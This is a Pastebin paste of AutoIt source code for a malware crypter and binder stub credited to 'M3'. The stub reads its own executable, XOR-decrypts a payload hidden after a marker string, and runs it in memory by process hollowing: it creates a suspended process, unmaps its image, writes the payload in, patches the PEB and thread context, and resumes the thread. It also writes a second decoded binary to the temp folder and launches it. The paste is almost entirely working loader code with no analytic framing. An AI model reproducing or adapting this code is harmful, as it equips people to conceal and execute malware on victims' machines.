Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #NoTrayIcon
- #RequireAdmin
- #Region
- #AutoIt3Wrapper_UseUpx=n
- #AutoIt3Wrapper_res_requestedExecutionLevel=asInvoker
- #EndRegion
- #Codeado por M3
- $sapppath = sgetmyapp()
- $pass = "\\M3\\DEVELOPER\\M3\\"
- $slenfile = slenex($pass)
- $sapp = FileRead($sapppath)
- $ssplit = StringSplit($sapp, $pass, 1)
- $sinstr = StringInStr($sapp, $pass)
- $sfinal = StringMid($sapp, $sinstr + $slenfile)
- Call(_runbinary(sxor($sfinal, $pass)))
- $ssplitjoin = StringSplit($sfinal, "X$$X", 1)
- $sarchivojoin = $ssplitjoin[2]
- $sarchivojoin = StringReplace($sarchivojoin, "\\M3\\DEVELOPER\\M3\\", "")
- If FileExists(@TempDir & "\M3.EXE") Then FileDelete(@TempDir & "\M3.EXE")
- $sjoinfile = FileOpen(@TempDir & "\M3.exe", 1)
- FileWrite($sjoinfile, sxor($sarchivojoin, "\\M3\\DEVELOPER\\M3\\"))
- FileClose($sjoinfile)
- Sleep(100)
- If FileExists(@TempDir & "\M3.EXE") Then sshell(@TempDir & "\M3.exe")
- Func sshell($path)
- Local $shell = ObjCreate("shell.application")
- $shell.shellexecute($path, "")
- EndFunc
- Func sxor($s_string, $s_key = "2", $s_level = 1)
- Local $s_encrypted, $s_kc = 1
- If StringLen($s_key) = 0 OR $s_level < 1 Then Return 0
- $s_key = StringSplit($s_key, "")
- $s_string = StringSplit($s_string, "")
- For $x = 1 To $s_string[0]
- $s_kc = Mod($x, $s_key[0])
- $s_encrypted &= Chr(BitXOR(Asc($s_string[$x]), Asc($s_key[$s_kc]) * $s_level))
- Next
- Return $s_encrypted
- EndFunc
- # sMyPath
- Func sgetmyapp()
- Local $mypath = DllCall("KERNEL32", "none", "GetModuleFileNameA", "ptr", "none", "str", "none", "int", "256")
- $mypath = $mypath[2]
- Return $mypath
- EndFunc
- # sStringLen
- Func slenex($sstr)
- Local $result, $i, $blen
- Do
- $i = $i + 1
- $blen = StringLeft($sstr, $i)
- $result = $i
- Until $sstr = $blen
- Return $result
- EndFunc
- Func _runbinary($bbinaryimage, $scommandline = "", $sexemodule = @AutoItExe)
- #Region 1. DETERMINE INTERPRETER TYPE
- Local $fautoitx64 = @AutoItX64
- #Region 2. PREDPROCESSING PASSED
- Local $bbinary = Binary($bbinaryimage)
- Local $tbinary = DllStructCreate("byte[" & BinaryLen($bbinary) & "]")
- DllStructSetData($tbinary, 1, $bbinary)
- Local $ppointer = DllStructGetPtr($tbinary)
- #Region 3. CREATING NEW PROCESS
- Local $tstartupinfo = DllStructCreate("dword cbSize;" & "ptr Reserved;" & "ptr Desktop;" & "ptr Title;" & "dword X;" & "dword Y;" & "dword XSize;" & "dword YSize;" & "dword XCountChars;" & "dword YCountChars;" & "dword FillAttribute;" & "dword Flags;" & "word ShowWindow;" & "word Reserved2;" & "ptr Reserved2;" & "ptr hStdInput;" & "ptr hStdOutput;" & "ptr hStdError")
- Local $tprocess_information = DllStructCreate("ptr Process;" & "ptr Thread;" & "dword ProcessId;" & "dword ThreadId")
- Local $acall = DllCall("kernel32.dll", "bool", "CreateProcessW", "wstr", $sexemodule, "wstr", $scommandline, "ptr", 0, "ptr", 0, "int", 0, "dword", 4, "ptr", 0, "ptr", 0, "ptr", DllStructGetPtr($tstartupinfo), "ptr", DllStructGetPtr($tprocess_information))
- If @error OR NOT $acall[0] Then Return SetError(1, 0, 0)
- Local $hprocess = DllStructGetData($tprocess_information, "Process")
- Local $hthread = DllStructGetData($tprocess_information, "Thread")
- If $fautoitx64 AND _runbinary_iswow64process($hprocess) Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(2, 0, 0)
- EndIf
- #Region 4. FILL CONTEXT STRUCTURE
- Local $irunflag, $tcontext
- If $fautoitx64 Then
- If @OSArch = "X64" Then
- $irunflag = 2
- $tcontext = DllStructCreate("align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 P4Home; uint64 P5Home; uint64 P6Home;" & "dword ContextFlags; dword MxCsr;" & "word SegCS; word SegDs; word SegEs; word SegFs; word SegGs; word SegSs; dword EFlags;" & "uint64 Dr0; uint64 Dr1; uint64 Dr2; uint64 Dr3; uint64 Dr6; uint64 Dr7;" & "uint64 Rax; uint64 Rcx; uint64 Rdx; uint64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R13; uint64 R14; uint64 R15;" & "uint64 Rip;" & "uint64 Header[4]; uint64 Legacy[16]; uint64 Xmm0[2]; uint64 Xmm1[2]; uint64 Xmm2[2]; uint64 Xmm3[2]; uint64 Xmm4[2]; uint64 Xmm5[2]; uint64 Xmm6[2]; uint64 Xmm7[2]; uint64 Xmm8[2]; uint64 Xmm9[2]; uint64 Xmm10[2]; uint64 Xmm11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmm15[2];" & "uint64 VectorRegister[52]; uint64 VectorControl;" & "uint64 DebugControl; uint64 LastBranchToRip; uint64 LastBranchFromRip; uint64 LastExceptionToRip; uint64 LastExceptionFromRip")
- Else
- $irunflag = 3
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(102, 0, 0)
- EndIf
- Else
- $irunflag = 1
- $tcontext = DllStructCreate("dword ContextFlags;" & "dword Dr0; dword Dr1; dword Dr2; dword Dr3; dword Dr6; dword Dr7;" & "dword ControlWord; dword StatusWord; dword TagWord; dword ErrorOffset; dword ErrorSelector; dword DataOffset; dword DataSelector; byte RegisterArea[80]; dword Cr0NpxState;" & "dword SegGs; dword SegFs; dword SegEs; dword SegDs;" & "dword Edi; dword Esi; dword Ebx; dword Edx; dword Ecx; dword Eax;" & "dword Ebp; dword Eip; dword SegCs; dword EFlags; dword Esp; dword SegSs;" & "byte ExtendedRegisters[512]")
- EndIf
- Local $context_full
- Switch $irunflag
- Case 1
- $context_full = 65543
- Case 2
- $context_full = 1048583
- Case 3
- $context_full = 524327
- EndSwitch
- DllStructSetData($tcontext, "ContextFlags", $context_full)
- $acall = DllCall("kernel32.dll", "bool", "GetThreadContext", "handle", $hthread, "ptr", DllStructGetPtr($tcontext))
- If @error OR NOT $acall[0] Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(3, 0, 0)
- EndIf
- Local $ppeb
- Switch $irunflag
- Case 1
- $ppeb = DllStructGetData($tcontext, "Ebx")
- Case 2
- $ppeb = DllStructGetData($tcontext, "Rdx")
- Case 3
- EndSwitch
- #Region 5. READ PE-FORMAT
- Local $timage_dos_header = DllStructCreate("char Magic[2];" & "word BytesOnLastPage;" & "word Pages;" & "word Relocations;" & "word SizeofHeader;" & "word MinimumExtra;" & "word MaximumExtra;" & "word SS;" & "word SP;" & "word Checksum;" & "word IP;" & "word CS;" & "word Relocation;" & "word Overlay;" & "char Reserved[8];" & "word OEMIdentifier;" & "word OEMInformation;" & "char Reserved2[20];" & "dword AddressOfNewExeHeader", $ppointer)
- Local $pheaders_new = $ppointer
- $ppointer += DllStructGetData($timage_dos_header, "AddressOfNewExeHeader")
- Local $smagic = DllStructGetData($timage_dos_header, "Magic")
- If NOT ($smagic == "MZ") Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(4, 0, 0)
- EndIf
- Local $timage_nt_signature = DllStructCreate("dword Signature", $ppointer)
- $ppointer += 4
- If DllStructGetData($timage_nt_signature, "Signature") <> 17744 Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(5, 0, 0)
- EndIf
- Local $timage_file_header = DllStructCreate("word Machine;" & "word NumberOfSections;" & "dword TimeDateStamp;" & "dword PointerToSymbolTable;" & "dword NumberOfSymbols;" & "word SizeOfOptionalHeader;" & "word Characteristics", $ppointer)
- Local $inumberofsections = DllStructGetData($timage_file_header, "NumberOfSections")
- $ppointer += 20
- Local $tmagic = DllStructCreate("word Magic;", $ppointer)
- Local $imagic = DllStructGetData($tmagic, 1)
- Local $timage_optional_header
- If $imagic = 267 Then
- If $fautoitx64 Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(6, 0, 0)
- EndIf
- $timage_optional_header = DllStructCreate("word Magic;" & "byte MajorLinkerVersion;" & "byte MinorLinkerVersion;" & "dword SizeOfCode;" & "dword SizeOfInitializedData;" & "dword SizeOfUninitializedData;" & "dword AddressOfEntryPoint;" & "dword BaseOfCode;" & "dword BaseOfData;" & "dword ImageBase;" & "dword SectionAlignment;" & "dword FileAlignment;" & "word MajorOperatingSystemVersion;" & "word MinorOperatingSystemVersion;" & "word MajorImageVersion;" & "word MinorImageVersion;" & "word MajorSubsystemVersion;" & "word MinorSubsystemVersion;" & "dword Win32VersionValue;" & "dword SizeOfImage;" & "dword SizeOfHeaders;" & "dword CheckSum;" & "word Subsystem;" & "word DllCharacteristics;" & "dword SizeOfStackReserve;" & "dword SizeOfStackCommit;" & "dword SizeOfHeapReserve;" & "dword SizeOfHeapCommit;" & "dword LoaderFlags;" & "dword NumberOfRvaAndSizes", $ppointer)
- $ppointer += 96
- ElseIf $imagic = 523 Then
- If NOT $fautoitx64 Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(6, 0, 0)
- EndIf
- $timage_optional_header = DllStructCreate("word Magic;" & "byte MajorLinkerVersion;" & "byte MinorLinkerVersion;" & "dword SizeOfCode;" & "dword SizeOfInitializedData;" & "dword SizeOfUninitializedData;" & "dword AddressOfEntryPoint;" & "dword BaseOfCode;" & "uint64 ImageBase;" & "dword SectionAlignment;" & "dword FileAlignment;" & "word MajorOperatingSystemVersion;" & "word MinorOperatingSystemVersion;" & "word MajorImageVersion;" & "word MinorImageVersion;" & "word MajorSubsystemVersion;" & "word MinorSubsystemVersion;" & "dword Win32VersionValue;" & "dword SizeOfImage;" & "dword SizeOfHeaders;" & "dword CheckSum;" & "word Subsystem;" & "word DllCharacteristics;" & "uint64 SizeOfStackReserve;" & "uint64 SizeOfStackCommit;" & "uint64 SizeOfHeapReserve;" & "uint64 SizeOfHeapCommit;" & "dword LoaderFlags;" & "dword NumberOfRvaAndSizes", $ppointer)
- $ppointer += 112
- Else
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(6, 0, 0)
- EndIf
- Local $ientrypointnew = DllStructGetData($timage_optional_header, "AddressOfEntryPoint")
- Local $ioptionalheadersizeofheadersnew = DllStructGetData($timage_optional_header, "SizeOfHeaders")
- Local $poptionalheaderimagebasenew = DllStructGetData($timage_optional_header, "ImageBase")
- Local $ioptionalheadersizeofimagenew = DllStructGetData($timage_optional_header, "SizeOfImage")
- $ppointer += 8
- $ppointer += 8
- $ppointer += 24
- Local $timage_directory_entry_basereloc = DllStructCreate("dword VirtualAddress; dword Size", $ppointer)
- Local $paddressnewbasereloc = DllStructGetData($timage_directory_entry_basereloc, "VirtualAddress")
- Local $isizebasereloc = DllStructGetData($timage_directory_entry_basereloc, "Size")
- Local $frelocatable
- If $paddressnewbasereloc AND $isizebasereloc Then $frelocatable = True
- If NOT $frelocatable Then ConsoleWrite("!!!NOT RELOCATABLE MODULE. I WILL TRY BUT THIS MAY NOT WORK!!!" & @CRLF)
- $ppointer += 88
- #Region 6. ALLOCATE 'NEW' MEMORY SPACE
- Local $frelocate
- Local $pzeropoint
- If $frelocatable Then
- $pzeropoint = _runbinary_allocateexespace($hprocess, $ioptionalheadersizeofimagenew)
- If @error Then
- $pzeropoint = _runbinary_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
- If @error Then
- _runbinary_unmapviewofsection($hprocess, $poptionalheaderimagebasenew)
- $pzeropoint = _runbinary_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
- If @error Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(101, 1, 0)
- EndIf
- EndIf
- EndIf
- $frelocate = True
- Else
- $pzeropoint = _runbinary_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
- If @error Then
- _runbinary_unmapviewofsection($hprocess, $poptionalheaderimagebasenew)
- $pzeropoint = _runbinary_allocateexespaceataddress($hprocess, $poptionalheaderimagebasenew, $ioptionalheadersizeofimagenew)
- If @error Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(101, 0, 0)
- EndIf
- EndIf
- EndIf
- DllStructSetData($timage_optional_header, "ImageBase", $pzeropoint)
- #Region 7. CONSTRUCT THE NEW MODULE
- Local $tmodule = DllStructCreate("byte[" & $ioptionalheadersizeofimagenew & "]")
- Local $pmodule = DllStructGetPtr($tmodule)
- Local $theaders = DllStructCreate("byte[" & $ioptionalheadersizeofheadersnew & "]", $pheaders_new)
- DllStructSetData($tmodule, 1, DllStructGetData($theaders, 1))
- Local $timage_section_header
- Local $isizeofrawdata, $ppointertorawdata
- Local $ivirtualaddress, $ivirtualsize
- Local $trelocraw
- For $i = 1 To $inumberofsections
- $timage_section_header = DllStructCreate("char Name[8];" & "dword UnionOfVirtualSizeAndPhysicalAddress;" & "dword VirtualAddress;" & "dword SizeOfRawData;" & "dword PointerToRawData;" & "dword PointerToRelocations;" & "dword PointerToLinenumbers;" & "word NumberOfRelocations;" & "word NumberOfLinenumbers;" & "dword Characteristics", $ppointer)
- $isizeofrawdata = DllStructGetData($timage_section_header, "SizeOfRawData")
- $ppointertorawdata = $pheaders_new + DllStructGetData($timage_section_header, "PointerToRawData")
- $ivirtualaddress = DllStructGetData($timage_section_header, "VirtualAddress")
- $ivirtualsize = DllStructGetData($timage_section_header, "UnionOfVirtualSizeAndPhysicalAddress")
- If $ivirtualsize AND $ivirtualsize < $isizeofrawdata Then $isizeofrawdata = $ivirtualsize
- If $isizeofrawdata Then
- DllStructSetData(DllStructCreate("byte[" & $isizeofrawdata & "]", $pmodule + $ivirtualaddress), 1, DllStructGetData(DllStructCreate("byte[" & $isizeofrawdata & "]", $ppointertorawdata), 1))
- EndIf
- If $frelocate Then
- If $ivirtualaddress <= $paddressnewbasereloc AND $ivirtualaddress + $isizeofrawdata > $paddressnewbasereloc Then
- $trelocraw = DllStructCreate("byte[" & $isizebasereloc & "]", $ppointertorawdata + ($paddressnewbasereloc - $ivirtualaddress))
- EndIf
- EndIf
- $ppointer += 40
- Next
- If $frelocate Then _runbinary_fixreloc($pmodule, $trelocraw, $pzeropoint, $poptionalheaderimagebasenew, $imagic = 523)
- $acall = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pzeropoint, "ptr", $pmodule, "dword_ptr", $ioptionalheadersizeofimagenew, "dword_ptr*", 0)
- If @error OR NOT $acall[0] Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(7, 0, 0)
- EndIf
- #Region 8. PEB ImageBaseAddress MANIPULATION
- Local $tpeb = DllStructCreate("byte InheritedAddressSpace;" & "byte ReadImageFileExecOptions;" & "byte BeingDebugged;" & "byte Spare;" & "ptr Mutant;" & "ptr ImageBaseAddress;" & "ptr LoaderData;" & "ptr ProcessParameters;" & "ptr SubSystemData;" & "ptr ProcessHeap;" & "ptr FastPebLock;" & "ptr FastPebLockRoutine;" & "ptr FastPebUnlockRoutine;" & "dword EnvironmentUpdateCount;" & "ptr KernelCallbackTable;" & "ptr EventLogSection;" & "ptr EventLog;" & "ptr FreeList;" & "dword TlsExpansionCounter;" & "ptr TlsBitmap;" & "dword TlsBitmapBits[2];" & "ptr ReadOnlySharedMemoryBase;" & "ptr ReadOnlySharedMemoryHeap;" & "ptr ReadOnlyStaticServerData;" & "ptr AnsiCodePageData;" & "ptr OemCodePageData;" & "ptr UnicodeCaseTableData;" & "dword NumberOfProcessors;" & "dword NtGlobalFlag;" & "byte Spare2[4];" & "int64 CriticalSectionTimeout;" & "dword HeapSegmentReserve;" & "dword HeapSegmentCommit;" & "dword HeapDeCommitTotalFreeThreshold;" & "dword HeapDeCommitFreeBlockThreshold;" & "dword NumberOfHeaps;" & "dword MaximumNumberOfHeaps;" & "ptr ProcessHeaps;" & "ptr GdiSharedHandleTable;" & "ptr ProcessStarterHelper;" & "ptr GdiDCAttributeList;" & "ptr LoaderLock;" & "dword OSMajorVersion;" & "dword OSMinorVersion;" & "dword OSBuildNumber;" & "dword OSPlatformId;" & "dword ImageSubSystem;" & "dword ImageSubSystemMajorVersion;" & "dword ImageSubSystemMinorVersion;" & "dword GdiHandleBuffer[34];" & "dword PostProcessInitRoutine;" & "dword TlsExpansionBitmap;" & "byte TlsExpansionBitmapBits[128];" & "dword SessionId")
- $acall = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "ptr", $hprocess, "ptr", $ppeb, "ptr", DllStructGetPtr($tpeb), "dword_ptr", DllStructGetSize($tpeb), "dword_ptr*", 0)
- If @error OR NOT $acall[0] Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(8, 0, 0)
- EndIf
- DllStructSetData($tpeb, "ImageBaseAddress", $pzeropoint)
- $acall = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $ppeb, "ptr", DllStructGetPtr($tpeb), "dword_ptr", DllStructGetSize($tpeb), "dword_ptr*", 0)
- If @error OR NOT $acall[0] Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(9, 0, 0)
- EndIf
- #Region 9. NEW ENTRY POINT
- Switch $irunflag
- Case 1
- DllStructSetData($tcontext, "Eax", $pzeropoint + $ientrypointnew)
- Case 2
- DllStructSetData($tcontext, "Rcx", $pzeropoint + $ientrypointnew)
- Case 3
- EndSwitch
- #Region 10. SET NEW CONTEXT
- $acall = DllCall("kernel32.dll", "bool", "SetThreadContext", "handle", $hthread, "ptr", DllStructGetPtr($tcontext))
- If @error OR NOT $acall[0] Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(10, 0, 0)
- EndIf
- #Region 11. RESUME THREAD
- $acall = DllCall("kernel32.dll", "dword", "ResumeThread", "handle", $hthread)
- If @error OR $acall[0] = -1 Then
- DllCall("kernel32.dll", "bool", "TerminateProcess", "handle", $hprocess, "dword", 0)
- Return SetError(11, 0, 0)
- EndIf
- #Region 12. CLOSE OPEN HANDLES AND RETURN PID
- DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hprocess)
- DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hthread)
- Return DllStructGetData($tprocess_information, "ProcessId")
- EndFunc
- Func _runbinary_fixreloc($pmodule, $tdata, $paddressnew, $paddressold, $fimagex64)
- Local $idelta = $paddressnew - $paddressold
- Local $isize = DllStructGetSize($tdata)
- Local $pdata = DllStructGetPtr($tdata)
- Local $timage_base_relocation, $irelativemove
- Local $ivirtualaddress, $isizeofblock, $inumberofentries
- Local $tenries, $idata, $taddress
- Local $iflag = 3 + 7 * $fimagex64
- While $irelativemove < $isize
- $timage_base_relocation = DllStructCreate("dword VirtualAddress; dword SizeOfBlock", $pdata + $irelativemove)
- $ivirtualaddress = DllStructGetData($timage_base_relocation, "VirtualAddress")
- $isizeofblock = DllStructGetData($timage_base_relocation, "SizeOfBlock")
- $inumberofentries = ($isizeofblock - 8) / 2
- $tenries = DllStructCreate("word[" & $inumberofentries & "]", DllStructGetPtr($timage_base_relocation) + 8)
- For $i = 1 To $inumberofentries
- $idata = DllStructGetData($tenries, 1, $i)
- If BitShift($idata, 12) = $iflag Then
- $taddress = DllStructCreate("ptr", $pmodule + $ivirtualaddress + BitAND($idata, 4095))
- DllStructSetData($taddress, 1, DllStructGetData($taddress, 1) + $idelta)
- EndIf
- Next
- $irelativemove += $isizeofblock
- WEnd
- Return 1
- EndFunc
- Func _runbinary_allocateexespaceataddress($hprocess, $paddress, $isize)
- Local $acall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", $paddress, "dword_ptr", $isize, "dword", 4096, "dword", 64)
- If @error OR NOT $acall[0] Then
- $acall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", $paddress, "dword_ptr", $isize, "dword", 12288, "dword", 64)
- If @error OR NOT $acall[0] Then Return SetError(1, 0, 0)
- EndIf
- Return $acall[0]
- EndFunc
- Func _runbinary_allocateexespace($hprocess, $isize)
- Local $acall = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", 0, "dword_ptr", $isize, "dword", 12288, "dword", 64)
- If @error OR NOT $acall[0] Then Return SetError(1, 0, 0)
- Return $acall[0]
- EndFunc
- Func _runbinary_unmapviewofsection($hprocess, $paddress)
- DllCall("ntdll.dll", "int", "NtUnmapViewOfSection", "ptr", $hprocess, "ptr", $paddress)
- If @error Then Return SetError(1, 0, 0)
- Return 1
- EndFunc
- Func _runbinary_iswow64process($hprocess)
- Local $acall = DllCall("kernel32.dll", "bool", "IsWow64Process", "handle", $hprocess, "bool*", 0)
- If @error OR NOT $acall[0] Then Return SetError(1, 0, 0)
- Return $acall[2]
- EndFunc
Advertisement
Add Comment
Please, Sign In to add comment